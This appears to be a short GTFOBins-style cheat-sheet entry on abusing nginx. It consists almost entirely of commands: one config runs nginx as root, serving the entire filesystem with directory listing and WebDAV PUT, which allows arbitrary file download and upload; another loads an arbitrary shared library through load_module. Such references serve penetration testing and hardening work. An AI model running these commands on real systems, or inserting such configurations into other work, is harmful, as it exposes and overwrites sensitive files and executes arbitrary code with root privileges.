nginx

Download

cat >/path/to/temp-file <<EOF
user root;
http {
  server {
    listen 80;
    root /;
    autoindex on;
    dav_methods PUT;
  }
}
events {}
EOF

nginx -c /path/to/temp-file

Library Load

Alternatively, the `ssl_engine` directive can be used.

cat >/path/to/temp-file <<EOF
load_module /path/to/lib.so
EOF

nginx -t -c /path/to/temp-file

Upload

cat >/path/to/temp-file <<EOF
user root;
http {
  server {
    listen 80;
    root /;
    autoindex on;
    dav_methods PUT;
  }
}
events {}
EOF

nginx -c /path/to/temp-file